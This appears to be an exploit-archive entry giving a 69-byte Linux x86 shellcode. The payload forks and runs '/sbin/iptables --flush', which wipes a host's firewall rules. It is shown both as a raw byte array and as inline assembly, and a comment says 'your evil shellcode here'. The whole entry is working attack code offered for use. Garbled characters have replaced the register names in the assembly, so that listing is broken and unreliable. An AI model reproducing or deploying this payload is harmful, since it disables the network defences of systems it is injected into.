Linux/x86 - /sbin/iptables --flush Shellcode (69 bytes)
2009-01-01 12:05:09/* linux x86 shellcode by eSDee of Netric (www.netric.org)
* /sbin/iptables --flush
*/
char
main[] =
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
"\x39\xd8\x75\x2d\x31\xc0\x50\x66"
"\x68\x2d\x46\x89\xe6\x50\x68\x62"
"\x6c\x65\x73\x68\x69\x70\x74\x61"
"\x68\x62\x69\x6e\x2f\x68\x2f\x2f"
"\x2f\x73\x89\xe3\x8d\x54\x24\x10"
"\x50\x56\x54\x89\xe1\xb0\x0b\xcd"
"\x80\x89\xc3\x31\xc0\x31\xc9\x31"
"\xd2\xb0\x07\xcd\x80";
/* your evil shellcode here */
int
asm_code()
{
__asm("
xorl êx,êx
xorl ëx,ëx
movb $2, %al
int $0x080
cmpl ëx,êx
jne WAIT
xorl êx,êx
pushl êx
pushw $0x462d
movl %esp,%esi
pushl êx
pushl $0x73656c62
pushl $0x61747069
pushl $0x2f6e6962
pushl $0x732f2f2f
movl %esp,ëx
leal 0x10(%esp),íx
pushl êx
pushl %esi
pushl %esp
movl %esp,ìx
movb $0xb,%al
int $0x80
WAIT:
movl êx, ëx
xorl êx, êx
xorl ìx, ìx
xorl íx, íx
movb $7, %al
int $0x80
");
}
Fixes
No fixesPer poter inviare un fix è necessario essere utenti registrati.

